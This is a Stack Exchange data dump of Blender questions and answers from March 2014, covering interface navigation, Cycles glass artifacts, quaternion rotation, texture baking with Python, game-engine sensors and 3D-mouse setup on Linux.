  <row Id="7847" PostTypeId="1" CreationDate="2014-03-18T10:41:56.657" Score="6" ViewCount="67" Body="&lt;p&gt;I'm new in this and I'm working on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/1.A_static_Gingerbread_Man&quot;&gt;gingerbread man tutorial&lt;/a&gt;. My problem is that sometimes I don't find some buttons and I would like to know if there is a tool for finding them.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="599" LastEditDate="2014-03-18T19:07:02.143" LastActivityDate="2014-03-19T19:38:05.353" Title="Is there a way to locate where options are in the interface?" Tags="&lt;interface&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7848" PostTypeId="2" ParentId="7844" CreationDate="2014-03-18T10:59:42.153" Score="1" Body="&lt;p&gt;You could take a final image and trace it in blender, like you would with say a logo. You could also use a python script to create the curves for you, either mathematically or from a preset list of coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the curve visible you can either increase the bevel depth and resolution or use another curve to define the shape of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to animate the spirals being drawn &lt;a href=&quot;https://blender.stackexchange.com/questions/2241/animate-extending-a-curve&quot;&gt;this question would help&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not do what you want but as a starting point there is an addon called &quot;Add Curve: Extra Objects&quot; that does some spirals and torus knots. Try the cycloid type from curves galore.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-03-18T10:59:42.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7849" PostTypeId="2" ParentId="7844" CreationDate="2014-03-18T11:07:34.787" Score="1" Body="&lt;p&gt;You might be able to use this stackexchange answer to draw the curve from an equation: &lt;a href=&quot;https://blender.stackexchange.com/questions/607/generate-curve-from-equation&quot;&gt;Generate curve from equation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the math for spirographs from wikipedia for example: &lt;a href=&quot;http://en.wikipedia.org/wiki/Spirograph#Mathematical_basis&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Spirograph#Mathematical_basis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or google for some formulas for interesting spirographs.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-03-18T11:07:34.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7850" PostTypeId="1" AcceptedAnswerId="7851" CreationDate="2014-03-18T12:35:45.413" Score="44" ViewCount="31190" Body="&lt;p&gt;When you first add a cylinder, you have the option to change the number of vertices, etc, but once you do anything else in blender, it seems you no longer can edit those parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting anywhere or an add-on that allows these parameters to be edited later on? If not, how easy would such an addon/feature be to create for anyone reading this? &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="23985" LastEditDate="2019-07-14T15:38:51.720" LastActivityDate="2021-05-13T15:20:55.483" Title="How to edit Parameters for an Object after it is created?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="7851" PostTypeId="2" ParentId="7850" CreationDate="2014-03-18T12:44:09.973" Score="36" Body="&lt;p&gt;Blender does not have a construction history. You can only edit the parameters of the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/interface/undo_redo.html#adjust-last-operation&quot; rel=&quot;noreferrer&quot;&gt;last action&lt;/a&gt;, nothing earlier than that.&lt;/p&gt;&#xA;&lt;p&gt;To edit the parameters of the last action you can either use &lt;kbd&gt;F9&lt;/kbd&gt;, you can go to &lt;em&gt;Edit &amp;gt; Adjust Last Operation&lt;/em&gt; or open up the panel on the bottom left of the 3d Viewport.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/53824.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/53824.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/YniN1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YniN1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to modify the last tool you have to do it before using another tool.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In &lt;strong&gt;Blender 2.7x&lt;/strong&gt; you can use &lt;kbd&gt;F6&lt;/kbd&gt; or the &lt;em&gt;Operator Tab&lt;/em&gt; in the &lt;em&gt;Tool Panel&lt;/em&gt; &lt;kbd&gt;T&lt;/kbd&gt; to edit the parameters of the last action.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZv14.png&quot; alt=&quot;enter image description here&quot; /&gt;   &lt;img src=&quot;https://i.stack.imgur.com/BFX95.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="31447" LastEditDate="2020-07-24T09:42:29.840" LastActivityDate="2020-07-24T09:42:29.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7852" PostTypeId="1" CreationDate="2014-03-18T13:04:36.557" Score="2" ViewCount="709" Body="&lt;p&gt;This may sound stupid idk but my message sensor can't seem to read the message sent by one of my actuators? I have a plane which plays its animation when a key is pressed and has an actuator which sends a message to my human with the subject &quot;Earthquake&quot;. My human has a message sensor with the same subject. It is supposed to match right? Or am I doing it wrong? Replies will be very much appreciated thank you!&lt;/p&gt;&#xA;" OwnerUserId="2805" LastEditorUserId="2217" LastEditDate="2014-07-29T14:24:14.113" LastActivityDate="2014-09-27T17:36:47.930" Title="Message Sensor can't detect/receive message" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7853" PostTypeId="1" CreationDate="2014-03-18T13:15:58.963" Score="1" ViewCount="518" Body="&lt;p&gt;Upon running, my character immediately does its assigned task but when I press something for another object (that is my building shaking) my characters get pushed by the walls and will stop walking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why does it stop when it's sensor is &quot;always?&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2805" LastEditorUserId="2217" LastEditDate="2014-07-29T14:23:57.797" LastActivityDate="2014-07-29T14:23:57.797" Title="Is the &quot;always&quot; sensor really always?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7854" PostTypeId="1" CreationDate="2014-03-18T13:42:48.273" Score="3" ViewCount="2744" Body="&lt;p&gt;Following along in tutorials I see the blur filter being used. I am using Blender 2.69 and I can't locate it visually or even with a search. Actually, there is no &quot;Filters&quot; category at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to download something to get it?&lt;/p&gt;&#xA;" OwnerUserId="2824" LastEditorUserId="2217" LastEditDate="2014-08-05T18:16:59.653" LastActivityDate="2017-06-16T23:43:38.160" Title="I don't seem to have blur node, using v2.69" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2017-06-17T15:27:24.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="7855" PostTypeId="1" AcceptedAnswerId="7870" CreationDate="2014-03-18T17:30:57.157" Score="3" ViewCount="3790" Body="&lt;p&gt;I would like to bake normals (and potentially other parameters later) of an object via python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with the following code, but it fails on the last line saying that it cannot find a valid image to bake to (I use the standard blender scene with the default cube).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this is because the image I created is not linked with the UV Map generated from the cube_project function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I associate it to the image ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I am taking a wrong approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;cube = bpy.data.objects[&quot;Cube&quot;]&#xA;bpy.context.scene.objects.active = cube&#xA;&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.uv.cube_project()&#xA;bpy.ops.object.editmode_toggle()&#xA;&#xA;image = bpy.data.images.new(name=&quot;test&quot;, width=512, height=512)&#xA;&#xA;bpy.ops.object.bake_image()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="2217" LastEditDate="2014-07-29T00:29:56.580" LastActivityDate="2014-07-29T00:29:56.580" Title="How can I set the image to use the UV Map using the python api" Tags="&lt;python&gt;&lt;scripting&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7856" PostTypeId="1" AcceptedAnswerId="7872" CreationDate="2014-03-18T17:33:51.470" Score="4" ViewCount="3996" Body="&lt;p&gt;I have since yesterday a SpaceNavigator (from 3Dconnection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  got it to work with the demo apps (xcube and xvalue). *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't do anything with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find any posts about it except some &quot;it will be possible in 2.48&quot; or &quot;there's a plug-in for 2.46&quot; (should I use it? Because I have Blender 2.7. And how can we add a plug-in?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.7 and I wonder if there is something to add, or it's just something to configure in Ubuntu (13.10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched many sites, but they all talk about 2.4_ or 2.5_, no 2.7 or even 2.6!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every help is welcome! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*: Some informations about how I installed it (from the given CD):&#xA; - I followed that (part of the official how to):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    cd /tmp&#xA;    tar xf /&amp;lt;cdrom&amp;gt;/3dxunix.tar linux   [where &amp;lt;cdrom&amp;gt; is the path to the root directory of your mounted CD]   (I replaced &amp;lt;cdrom&amp;gt; with the correct path)&#xA;    sh /tmp/linux/install-3dxunix.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error while loading shared libraries: libXm.so.3: cannot open shared object file: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and found an answer there: &lt;a href=&quot;http://www.3dconnexion.com/forum/viewtopic.php?p=2361&quot; rel=&quot;nofollow&quot;&gt;3Dconnection forum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the install worked. -&gt; I have now one &quot;app&quot; (the driver app?) : 3DxWare 1.6.0&lt;/p&gt;&#xA;" OwnerUserId="2701" LastEditorUserId="55" LastEditDate="2014-03-19T21:04:40.643" LastActivityDate="2014-03-19T22:13:13.163" Title="SpaceNavigator in Linux: How to configure with Blender?" Tags="&lt;customization&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7857" PostTypeId="2" ParentId="7844" CreationDate="2014-03-18T18:23:17.743" Score="1" Body="&lt;p&gt;As mentioned above, a python script would be one way.  The mathematical shape is a hypotrochoid.  The formula&lt;a href=&quot;http://en.wikipedia.org/wiki/Hypotrochoid&quot; rel=&quot;nofollow&quot;&gt;(see wikipedia)&lt;/a&gt;is dependent on two radius and a diameter, but provides a stunning variety of designs. The easiest method would probably be to create a curve, then add depth and an extrusion shape (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Modeling/Curves/Extrude_Along_Path&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;'s an example of how), and then convert to a mesh.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="2699" LastEditDate="2014-03-18T18:33:49.147" LastActivityDate="2014-03-18T18:33:49.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7858" PostTypeId="2" ParentId="7844" CreationDate="2014-03-18T19:00:23.707" Score="4" Body="&lt;p&gt;You can also use an &lt;em&gt;Array modifier&lt;/em&gt; to create a basic design:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzNFH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-18T19:00:23.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7859" PostTypeId="1" AcceptedAnswerId="7860" CreationDate="2014-03-18T21:07:03.300" Score="11" ViewCount="16943" Body="&lt;p&gt;I was used to press the play button for a preview of a rendered animation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HtvtC.png&quot; alt=&quot;enter image description here&quot;&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of a sudden (v2.7) there is an audio button  which opens a file dialog. Am I supposed to add all images into the VSE every time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iWXbA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-24T21:01:27.173" Title="Where is the animation play button in 2.7?" Tags="&lt;animation&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7860" PostTypeId="2" ParentId="7859" CreationDate="2014-03-18T21:11:18.327" Score="13" Body="&lt;p&gt;You can instead use the option in &lt;em&gt;Info &gt; Render &gt; Play rendered animation&lt;/em&gt;, or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yBTrn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-18T21:11:18.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7861" PostTypeId="1" CreationDate="2014-03-18T21:30:37.517" Score="0" ViewCount="217" Body="&lt;p&gt;I'm trying to export basic shapes from Blender into XNA. We have gravity working in XNA at the moment, but relies on the Y-coordinate being up. So when we export from Blender with the Z-coord up, it either falls the wrong way, or is facing the wrong direction. We would like the shape (pictured) to fall the way it's pictured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/02ktH.png&quot; alt=&quot;Blender object screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2831" LastActivityDate="2014-09-15T00:41:44.333" Title="How can I orient my object to fall the correct way in XNA?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7862" PostTypeId="2" ParentId="7861" CreationDate="2014-03-18T21:41:48.217" Score="1" Body="&lt;p&gt;The obvious answer is to just rotate your object so that it's oriented as if Z is up. The less obvious part of that is applying your transforms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying transforms is often called normalization and also applies to scale and location. A normalized scale would be 1 and a normalized location would be (0,0,0). Normalized rotation is a little less simple, but essentially it means that your local coordinate system is aligned with your global coordinate system (local x,y,z point the same directions as global x,y,z).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to make sure your object is normalized with Z up. One is to do all the rotation in edit mode. This will move the mesh, but leave the local coordinates the way they were.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The (arguably) easier way is to get your object oriented the way you want in object mode, and then (with it still selected) use &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; and choose the selection for rotation (it'd be a good idea to use this to normalize your scale as well, but that doesn't have anything to do with your question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: rotate your object so that Z is &quot;up,&quot; and then apply the rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-18T21:41:48.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7863" PostTypeId="1" AcceptedAnswerId="7867" CreationDate="2014-03-18T22:40:55.493" Score="12" ViewCount="8137" Body="&lt;p&gt;What are some practical uses for the Quaternion? Why not just use the Euler X, Y, and Z axis rotation values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not intuitive how one should manipulate Quaternions. Can someone explain this?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="29301" LastEditDate="2018-10-28T19:03:54.383" LastActivityDate="2018-10-28T19:03:54.383" Title="What are the benefits of Quaternion rotation over Eulerian rotation?" Tags="&lt;3d-view&gt;&lt;transforms&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7864" PostTypeId="1" AcceptedAnswerId="7868" CreationDate="2014-03-19T01:19:11.520" Score="12" ViewCount="15625" Body="&lt;p&gt;for some reason i am getting these black patches all around my image. it seems to be most obvious where certain sections overlap slightly, but i have no idea how to fix them (very new to blender o.o) &lt;img src=&quot;https://i.stack.imgur.com/ytHm5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im not sure why this is happening. heres a version where the points im referencing are circled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zluem.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't know what settings you guys need to know so just ask me if you need too. i can tell you this was only renderd 10x but even at 20,000 samples it did not fix anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keep in mind, i am still a noob at this so any suggestions please word as simplisticly as possible xD thank you!&lt;/p&gt;&#xA;" OwnerUserId="2833" LastActivityDate="2014-03-19T19:13:25.983" Title="Black patches in glass when using cycles render engine" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7865" PostTypeId="2" ParentId="7864" CreationDate="2014-03-19T01:38:23.457" Score="8" Body="&lt;p&gt;The black spots are due to the depth limits in the transmission rays. You need to increase the Transmissions rays so that light can gr thorough more objects and the Glossy Rays so that you do not get black reflection from other object (letters) in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default Render Settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43oku.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/orCgK.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Increased Depth:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7wyiG.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/cLTjm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: that the total number of bounces for each ray is set by the &lt;em&gt;Max&lt;/em&gt; parameter under bounces. You also need to increase this if you really want to go over the default.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-19T19:13:25.983" LastActivityDate="2014-03-19T19:13:25.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7866" PostTypeId="2" ParentId="7864" CreationDate="2014-03-19T04:25:18.477" Score="3" Body="&lt;p&gt;Vaders answer is correct; the number of times a specific type of light ray is permitted to bounce before it is terminated is the problem, and is also correct that it is the Glossy and Transmission ray bounces need to be increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you saw no improvement when you made the suggested adjustments is that those values are set in two places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value you set for each bounce type (outlined in blue) is the limit for the maximum number of times that type of ray can bounce before it is no longer calculated, depending upon your scene however, it may be terminated before reaching that limit.&#xA;But; those limits are constrained by the Min and Max values (outlined in red).&#xA;By way of example; in the image below, despite having a setting of 1, 3 Volume bounces will be calculated, and entering a value of 50 for the Transmission bounces, still only 12 bounces would calculated as the Max value will terminate the ray at 12. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LaZSw.png&quot; alt=&quot;Light Path Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-03-19T04:25:18.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7867" PostTypeId="2" ParentId="7863" CreationDate="2014-03-19T05:02:03.490" Score="15" Body="&lt;p&gt;Quaternion has the advantage that it gives better interpolation between keyframes for arbitrary rotations, compared to &lt;code&gt;euler&lt;/code&gt; or &lt;code&gt;axis-angle&lt;/code&gt;, this is often used for character animation and why its default for armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also avoids the &lt;a href=&quot;https://blender.stackexchange.com/questions/469/could-someone-please-explain-gimbal-lock?rq=1&quot;&gt;gimbal lock&lt;/a&gt; problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You make a good point that the f-curves are hard to control. Typically you wont manipulate each axis them directly, and instead pose the rig in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for walk cycles and arbitrary motion, quaternions are fine, Euler's are better if you want to control each axis and are animating something which inherently has separated axis you would want to apply in order (robotic joints for example - a gun turret where you might want to control 2 axis directly).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For more general info on this topic see:&lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/8919086/why-are-quaternions-used-for-rotations&quot;&gt;https://stackoverflow.com/questions/8919086/why-are-quaternions-used-for-rotations&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-03-20T04:30:20.530" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7868" PostTypeId="2" ParentId="7864" CreationDate="2014-03-19T06:17:55.497" Score="17" Body="&lt;p&gt;This is caused by sharp, low poly geometry with smooth shading (you'll notice that the problem goes away with flat shading). It's true that bounces can also cause dark spots (as mentioned in the other answers), but I think this is the issue in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There a couple things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding more geometry (works well for curved objects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No subsurf:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XAz0q.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;strong&gt;Subsurf level 2:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5icr4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using an edge split modifier (works better on objects with sharp edges)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Without edge split:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9XFHf.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;strong&gt;With edge split:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nhNfq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-19T06:23:32.377" LastActivityDate="2014-03-19T06:23:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7870" PostTypeId="2" ParentId="7855" CreationDate="2014-03-19T11:29:17.773" Score="4" Body="&lt;p&gt;Every UV face needs to be set to the image datablock:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image = bpy.data.images.new(name=&quot;test&quot;, width=512, height=512)&#xA;&#xA;for uv_face in cube.data.uv_textures.active.data:&#xA;    uv_face.image = image&#xA;&#xA;bpy.ops.object.bake_image()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that a uv_texture can't be accessed in edit-mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the UV face assignment, every mesh face should get a material with an image texture assigned (same image as for UV faces) and the texture coordinates be set to UV. Otherwise the texture may not show correct in viewport, although it might be baked correctly (better test!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Materials_Utils&quot; rel=&quot;nofollow&quot;&gt;Material Utils addons&lt;/a&gt;, it let's you transfer UV face image assignments to material texture assignments and vice versa.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-19T11:29:17.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7871" PostTypeId="2" ParentId="7853" CreationDate="2014-03-19T13:10:03.510" Score="1" Body="&lt;p&gt;An always sensor in it's default state sends one pulse at the beginning. If you want a continual pulse, activate pulse mode on the sensor.&lt;/p&gt;&#xA;" OwnerUserId="2253" LastActivityDate="2014-03-19T13:10:03.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7872" PostTypeId="2" ParentId="7856" CreationDate="2014-03-19T13:17:00.163" Score="4" Body="&lt;p&gt;First you need to install Spacenav, which I've found works very simply.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install 'spacenav', &lt;em&gt;I expect most Linux distros would have a package for this&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;sudo spacenavd -v -d&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;blender&lt;/code&gt;, &lt;em&gt;the 3D mouse will be detected, and printed in the terminal.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;code&gt;spacenavd&lt;/code&gt; can run automatically as a service but to begin with just execute in a terminal.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://spacenav.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;spavenav's&lt;/a&gt; site, it has general info. I followed the &lt;a href=&quot;https://wiki.archlinux.org/index.php/3D_Mouse&quot; rel=&quot;nofollow&quot;&gt;Arch Linux 3D Mouse Instructions&lt;/a&gt; to get this working.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-19T22:13:13.163" LastActivityDate="2014-03-19T22:13:13.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7873" PostTypeId="1" AcceptedAnswerId="7886" CreationDate="2014-03-19T13:21:03.660" Score="5" ViewCount="2106" Body="&lt;p&gt;Can I get from bpy which (if any) vertex / edge / face is currently under the mouse cursor? This would be quite useful for making more modeling tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now what I have to do is, &lt;a href=&quot;https://github.com/zeffii/Blender_CAD_utils/blob/master/EXM/view3d_mesh_extend_multi.py&quot; rel=&quot;nofollow&quot;&gt;maybe utterly stupid and wasteful on my part&lt;/a&gt;, use a selection list and update it when new valid edges are added to the selection. The problem with that is I loop through all edges each time, which can be a bit slower on large meshes.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="2217" LastEditDate="2014-03-30T02:32:15.630" LastActivityDate="2014-03-30T02:32:15.630" Title="Get Edge / Vertex / Face from mouse position" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
